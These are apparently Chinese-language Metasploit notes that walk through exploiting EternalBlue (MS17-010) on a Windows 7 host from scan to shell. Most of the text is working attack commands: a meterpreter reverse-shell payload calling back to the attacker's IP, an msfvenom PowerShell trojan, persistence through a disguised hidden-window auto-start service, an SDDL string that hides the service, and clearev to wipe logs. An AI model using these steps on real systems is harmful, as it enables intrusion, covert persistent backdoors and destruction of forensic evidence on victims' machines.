Metasploit
模块
- Auxiliary 执行辅助性任务,可以扫描目标系统开放的端口、枚举服务、进行指纹识别,通常不直接利用漏洞来获取目标系统的控制权,但能为后续的攻击提供重要信息
- Exploits 用于利用目标系统的已知漏洞
- Payloads 攻击载荷模块,攻击成功之后执行的任务
- Post 获得目标系统访问权限后使用的,用于执行后续的操作
输入 ? 查看手册
指令
show
show 模块名 显示模块具体介绍
search
search 内容 搜索匹配的模块
use
use 模块名|编号 使用模块,参数可以是 search 返回的编号
options
配置好模块之后,options 查看模块配置信息
RHOSTS 是目标主机
set
set rhost 192.168.100.104 设置模块具体信息
run
run 运行攻击
实例
永恒之蓝
use auxiliary/scanner/smb/smb_ms17_010
options # 查看配置
set rhost 192.168.100.101
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.100.101:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.100.101:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
use windows/smb/ms17_010_eternalblue
options
set rhost 192.168.100.101
show payloads # 查看攻击可以配置的载荷
set payload windows/x64/meterpreter/reverse_tcp # 设置攻击载荷,默认就是 reverse_tcp
set lhost 192.168.100.104 # 设置主机 IP,用于接收从目标机弹回的 shell
run
meterpreter,输入 ? 可以查询自带的指令,例如 upload 1.txt 可以传文件到目标机实现远程控制
制作木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.104 LPORT=1234 -f psh-reflection > x.ps1这里的
LHOST 和 LPORT 都是主机的 IP 和端口,用于接收数据,x.ps1 为输出的文件名,msfvenom 是独立于 msfconsole 的程序上传木马:
upload x.ps1设置开机自启可以通过计划任务或服务
以服务方式伪装:
首先在
meterpreter 中输入 shell 进入命令行1. 创建服务
sc create service_name binPath= "cmd.exe /k powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\x.ps1" start= auto obj= LocalSystem2. 伪装服务
sc description "service_name" "服务描述"3. 设置自启
sc config "service_name" start=auto4. 启动服务
net start "service_name"
在启动之前,应该启动 msf 的远程控制模块
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.100.104 这里应该是主机 IP,和木马中一致
set lport 1234 和木马中设置的端口一致
run 启动监听,启动后只要端口有数据就能连接
- 隐藏服务
sc.exe sdset service_name "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)" - 在
meterpreter下输入clearev清除日志